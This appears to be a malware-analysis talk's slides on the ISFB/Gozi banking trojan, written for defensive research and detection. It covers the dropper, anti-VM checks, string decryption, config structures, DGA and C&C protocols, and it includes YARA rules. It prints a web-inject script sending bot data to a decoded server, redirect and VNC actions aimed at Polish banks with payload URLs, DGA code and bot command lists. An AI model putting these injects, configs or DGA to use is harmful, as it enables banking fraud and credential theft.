\[ \definecolor{data}{RGB}{18,110,213} \definecolor{unknown}{RGB}{217,86,16} \definecolor{learned}{RGB}{175,114,176} \]

ISFB

Still Live and Kicking

Maciej Kotowicz

Intro

$ whois mak

Disclaimer

Based on proposed plan, author did some source code analysis and want to summarize his

Well. Nope. 75% of this came from Reverse Engineering....

ISFB, long story short

  • Based on gozi
  • same bugs going back to 2007
  • Ursnif/Gozi/Gozi2/Rovnix/Vawtrak
  • Casual history with rovnix
  • For us, public appearence in 2014
  • Now, one of most puplar bankers on market
  • Couple of offsprings
aa

ISFB!

DbgPrint("ISFB_%04x: Installer DLL finished with status %u.\n", GetCurrentProcessId(), Status);
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// ISFB project. Version 2.13.24.1
//  
// module: dll.c
// $Revision: 265 $
Ursnif/Gozi/Gozi2/Rovnix/Vawtrak

Scale

scx (n6: sinkhole connections in october - bankers only)

Scale

    > db.config.distinct('key',{'type':'isfb','exe_type':'worker'})
    [
        "q1a2z3w4s5x6e7d8",
        "S951DX7IZXHH4Y6P",
        "OvZz8XVH91INT7ek",
        "V86iYRDA2FSEqWzL",
        "87694321POIRYTRI",
        "77694321POIRYTRI",
        "DB23B3470D0CF889",
        "A79CE7E04B4C9A6A",
        "byVMLEDZAlowtPY",
        "0123456789ABCDEF",
        "2345D892B97F02A",
        "Drbp2YVKMWkmPGtJ",
        "Dfei8OoQ0xhjTyql",
        "0WADGyh7SUCs1i2V",
        "PHZ4OVL2QLI0N8WN"
    ]

Scale

sc1

Scale

kudos to Slavo (SWITCH-CERT)

sc0

The Dropper

...or where the acients reside

Welcome to the system

  • achieve persistency
  • inject worker
  • setup IPC
  • new download 2nd stage

Useless strings?

drop

One Rule to rule them all

rule isfb_dropper : banker
{
    meta:
        author   = "mak"
        module   = "isfb"   
    strings:
        $str0    = "Tape Device" fullword
        $str1    = "ASCIT8" fullword
        $str2    = "IEEE 1394"
        $str3    = ".bss"
        $decode_bss = { 8D 7D ?? AB 66 AB 6A 08 AA 68 [4] 8D ?? ?? 5?}
    condition:
        $decode_bss and 1 of ($str*)
}

Anti-VM?

 do {
    pci.cbSize = 20;
    GetCursorInfo(&pci);
    ret = decode_bss(pci.ptScreenPos.y - old_y - old_x + pci.ptScreenPos.x);
    old_x=  pci.ptScreenPos.x;
    old_y =pci.ptScreenPos.x;
 } while(ret == 12);

Anti-VM

    DeviceInfoData.cbSize = 28;
    if ( SetupDiEnumDeviceInfo(v1, 0, &DeviceInfoData) )
    {
      SetupDiGetDeviceRegistryPropertyA(v1, &DeviceInfoData, 0xCu, &Property, 0, 0, &PropertyBufferSize);
      if ( PropertyBufferSize )
      {
        v2 = (BYTE *)xHeapAlloc(PropertyBufferSize);
        v3 = (CHAR *)v2;
        if ( v2 )
        {
          if ( SetupDiGetDeviceRegistryPropertyA(DeviceInfoSet,&DeviceInfoData,0xCu,&Property,v2,PropertyBufferSize,
                 &PropertyBufferSize)
            && (StrStrIA(v3, (LPCSTR)"vbox")
             || StrStrIA(v3, "qemu")
             || StrStrIA(v3, "vmware")
             || StrStrIA(v3, "virtual hd")) )
          {
            v0 = 1;
          }
          xHeapFree(v3);
        }
      }
    }
    SetupDiDestroyDeviceInfoList(DeviceInfoSet);
  }
  return v0;

String encryption

signed int __stdcall decode_bss(int shift)
{
...
  //v2 points to VA of .bss
  if ( !v2 )
    return 2;
  v6 = v2->VirtualAddress;
  if ( !v6 || !v2->SizeOfRawData )
    return 192;
  v7 = v2->SizeOfRawData;
  v8 = *(_DWORD *)"016";
  v9 = v13;
  v10 = (shift & 0x1F) + (*(_DWORD *)"29 2016" ^ *(_DWORD *)"Oct 29 2016" ^ (v7 + v6));
  XorDecryptBuffer(v7, (int *)((char *)v13 + v6), v2->SizeOfRawData, v10);
  dword_4064EC = dword_40766E + dword_407662 + dword_407666;
  if ( dword_40766E + dword_407662 + dword_407666 != 0xEE553B4E )// check if correctly decoded
  {
    XorEncryptBuffer(dword_407662, (IMAGE_DOS_HEADER *)((char *)v9 + v2->VirtualAddress), v2->SizeOfRawData, v10);
    v14 = 12;
  }
  return v14;
}

Joined resources

or FJ-structs

  typedef struct  { 
    DWORD fj_magic;
    DWORD addr;
    DWORD size;
    DWORD crc32_name;
    DWORD flags; /* or with 0x10000 mean it is
                    packed with aPLib */
} isfb_fj_elem ;

Joined resources

or J1-structs

  typedef struct  { 
    DWORD j1_magic;
    DWORD flags; // can be aPLib packed
    DWORD crc32_name;
    DWORD addr;
    DWORD size;
} isfb_fj_elem ;

- 0x4F75CEA7,0x9e154a0c  ## CRC_CLIENT32
- 0xD722AFCB,0x8365B957,0x8fb1dde1 ## CRC_CLIENT_INI
- 0xE1285E64 ## CRC_PUBLIC_KEY
- 0x90F8AAB4,0x41982e1f ## CRC_CLIENT64
- 0x7A042A8A ## NEW - UNKNOWN

Static configuration

  typedef struct  {
    DWORD off;
    DWORD flags;
    QWORD value;
    QWORD uid;
  } isfb_cfg_elem

  typedef struct {
    QWORD count
    isfb_cfg_elem[count];
    char string_table[];
  }

Static cfg - fields

  • 0x556aed8f - server
  • 0xea9ea760 - bootstrap
  • 0x656b798a - botnet
  • 0x4fa8693e - key
  • 0xd0665bf6, 0x75e6145c - domains
  • 0xefc574ae - dga_seed
  • 0x73177345 - dga_base_url
  • 0xec99df2e - dga_tld
  • 0xdf351e24 - tor32_dll
  • 0x510f22d2 - tor_domains

Static cfg

cfg0

Static cfg

cfg1

Static cfg

cfg2

Man in the Browser

.. or where my goes my mony

Dynamic config

  typedef structure {
    DWORD size;
    BYTE  data[size];
  } inject_elem

  typedef structure {
    inject_elem target; // url glob 
    inject_elem action; // or regex
    inject_elem params[4]; // other params
  } inject_chunk

  typedef injects_t inject_chunk[];

Web Injects

var bn = "US_" + "BOFA_1";
var bot_id = "@ID@_" + bn;
var sa = decode64("..");
var req = "send=0&u_bot_id=" + bot_id + "&bn=" + bn+ "&page=8&u_login=&u_pass=&log=" + 'get_me_core';
sendScriptRequest(sa, req, function statusCall1() {
var element = document.getElementById("loader");
element.parentNode.removeChild(element);
} );
})();

Web Actions

  • FILE
  • SCREENSHOT
  • HIDDEN
  • NEWGRAB
  • VIDEO
  • PROCESS
  • POST
  • VNC

Web Actions

ACTION: REDIRECT - Target: */myjs128.js -> http://5.101.67.36/di/myjs128_plv3.js
ACTION: REDIRECT - Target: */myjs28.js -> http://5.101.67.36/di/myjs28_plv3.js
ACTION: REDIRECT - Target: */ats8/gate.php* -> http://5.101.67.36/az/atsbmid/gate128.php
ACTION: REDIRECT - Target: https://www.centrum24.pl/* -> http://5.101.67.36/fk/cen1.php?
ACTION: REDIRECT - Target: https://companynet.mbank.pl/* -> http://5.101.67.36/fk/mbiz1.php?
ACTION: FILE - Target: *.prv
ACTION: VNC - Target: https://www.pekaobiznes24* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://companynet.mbank.pl* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://iri.* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://kiri.* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://ibiznes2* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://*.pl/homebankin* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin
ACTION: VNC - Target: https://*/hb/faces/* | source : http://thesellingoutlet.com/p32.bin,http://thesellingoutlet.com/p64.bin

The Bot.

Registry Keys

.*\\Software\\AppDataLow\\Software\\Microsoft\\
[A-F0-9]{8}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{4}-[A-F0-9]{12}\\
  • Install
  • Client
  • NetCfg
  • LastTask
  • LastConfig

Other Acctions

  • GET_CERTS
  • GET_COOKIES
  • GET_SYSINFO
  • LOAD_EXE
  • GET_FILES
  • SOCKS_START
  • GET_KEYLOG
  • GET_MAIL
  • GET_FTP
  • VNC_START
  • URL_BLOCK

Calling Home

ET phone home.

  • Static domains inside configuration files
  • DGA based on template and current data
  • C&C hidden in TOR network
  • P2P network

DGA

        rnd = LsaRandom()
        rnd.seed = (((kwargs['seed'] << 16)&0xffffffff) + kwargs['season'] + kwargs['lsa_seed']) & 0xffffffff
        #rnd.seed = (1 << 16)  + kwargs['season']  - 0x124676D0
        r=[]
        for i in range(kwargs['count']):
            suf = kwargs['tld'][(rnd.rnd >> 1) % len(kwargs['tld'])]#rnd.choose(kwargs['tld'])
            dom_l = rnd.rnd % self.DGA_MIN_LEN + self.DGA_MIN_LEN
            wc = 0; dom = []
            while wc < dom_l:
                d = rnd.choose(words)
                ws = len(d)
                if not rnd.rnd %3:
                    ws /=2
                if wc + ws > self.DGA_MAX_LEN:
                    continue
                dom.append(d[:ws])
                wc += ws
            r.append(''.join(dom) +suf)

TOR

tor

P2P

  typedef struct {
    DWORD magic; /* 0x395f2ec1 */
    DWORD my_secret;
    DWORD his_secret;
    BYTE cmd0;
    BYTE cmd1;
    BYTE data[];
  } isfb_p2p_inner_packet

  typedef struct {
    BYTE flags; 
    DWORD salt; /* 4 random higher bytes of keys */
    isfb_p2p_inner_packet p; /*encrypted */
  } isfb_p2p_packet

Internet is Hard

spam

URL format

http://\%s\%s?user\%\%5fid=\%.4u\&version\%\%5fid=\%lu\&passphrase=\%s\&socks=\%lu\&version=\%lu\&crc=\%.8x

/tfctq.php?mkvf=KPgnjc3RohdH4zDttU9wItzEGB6cEz2jeDJWROI6FbIpqN/9F6N3OOHUzISvptToYm+txOpUvU2YtY

oxsxc=kcxsfx\&version=212356\&user=aa16a132f1689c4d4b2eb59024d986c3\&server=12\&id=1000\&crc=1dc690f

cnc.tld/images/8//Gmj7f1b/p976veQbwY5XTyLFJl2QiH3b3X6ts7/Yxd7nmkuXV6Yrt6mPUdSf2Ul
              /jOBc27CVHf2WIxVsGg/Pv49qA_2B_2FdeXKWKV/cPIuyXr4JBumUBy/Aw/RtPom91zP7FSaj2U.jpeg


/t[RAND]?[RAND]=data

URL format

decode_req = lambda d: decrypt(d.decode('base64',SKEY))
d=re.sub('_([0-9A-Fa-f]{2})',lambda x: chr(int(x.group(1),16)),d)
try:
   e=d.decode('base64')
except Exception as e:
   d=d+'=='
pprint.pprint(dict(map(lambda x: x.split('='), decode_req(d).strip("\x00").split('&'))))

    {'crc': '7001380', 'id': '1065',ppc': 'xi', 'server': '12', 'soft': '1',
    'user': '0c0d784a0cf755970edbdf4c0cb27fca', 'version': '214887'}

URL format

/t*php & get new task & Used until Sep 2015 
/c*php & get new config & Used until Sep 2015 
/d*php & send stolen data & Used until Sep 2015 
*/images/*.gif & get new task & current format 
*/images/*.jpeg & get new config & current format
*/images/*.bmp  & send stolen data & current format
*/images/*/.avi & download 2nd stage dll & not every c&c

C&C respone

resp0

C&C respone

resp2

Wiki

Serpent is a symmetric key block cipher that was a finalist in the Advanced Encryption Standard (AES) contest, where it was ranked second to Rijndael. Serpent was designed by Ross Anderson, Eli Biham, and Lars Knudsen.

Like other AES submissions, Serpent has a block size of 128 bits and supports a key size of 128, 192 or 256 bits.[2] The cipher is a 32-round substitution-permutation network operating on a block of four 32-bit words. Each round applies one of eight 4-bit to 4-bit S-boxes 32 times in parallel. Serpent was designed so that all operations can be executed in parallel, using 32 bit slices. This maximizes parallelism, but also allows use of the extensive cryptanalysis work performed on DES.

(protip: don't use https://github.com/doegox/python-cryptoplus, slow as hell)

C&C respone

resp0

Command and Control,

IAP

rewrite ^/fileto(.*)(\.bin) /get128.php?x=$1 break;
rewrite ^/images(.*)(\.bmp) /data.php?x=$1$2 break;
rewrite ^/images(.*)(\.avi) /loader.php?x=$1$2 break;
rewrite ^/images(.*)(\.gif) /task.php?x=$1$2 break;
rewrite ^/images(.*)(\.jpeg) /config.php?x=$1$2 break;

IAP

iap1

IAP

iap2

Dreambot

RewriteEngine on
RewriteRule ^c(.+)\.php$ new_chandler.php [L,QSA]
RewriteRule ^t(.+)\.php$ new_thandler.php [L,QSA]
RewriteRule ^d(.+)\.php$ new_dhandler.php [L,QSA]
RewriteRule ^images(.*)(\.bmp) new_dhandler.php?q=$1$2 [L,QSA]
RewriteRule ^images(.*)(\.gif) new_thandler.php?q=$1$2 [L,QSA]
RewriteRule ^images(.*)(\.jpeg) new_chandler.php?q=$1$2 [L,QSA]

Dreambot

iap1

Dreambot

iap2

Dreambot

rule isfb_dreambot : banker
{
    meta:
        author = "mak"
        module = "isfb"
    strings:
        $str0 = "vmware" fullword
        $str1 = "vbox" fullword
        $str2 = "virtual hd" fullword
        $str4 = "qemu" fullword
        $str3 = "c:\\321.txt" fullword
    condition:
        all of them and isfb_dropper
}

The End

...or not?

Offsprings and Cousins

  • Nymain
  • Powersniff / PunchyBagg

Common Roots/Payloads

  • Bolek/KBOT - based on gozi
  • Rovnix - ISFB was ring3 payload protected by rovnix
  • Vawtrak - Nothing! in common

Recap

  • One of the oldest bankers under active development
  • Interesting solutions
  • Various methods of infection
  • Elaborate communication methods, DGA/P2P/TOR
  • Old bugs die hard...;]
  • Read paper for more details;]
  • Code soon available at mak@github:random-stuff/isfb

Kudos!

people that knowingly (or not;) halped us

  • Slavo
  • Paul Black
  • Kafeine
  • Peter Kruse
  • Piotr Kijewski
  • JarosÅ‚aw Jedynak
  • Horgh
  • Frank Ruiz

mak mak@cert.pl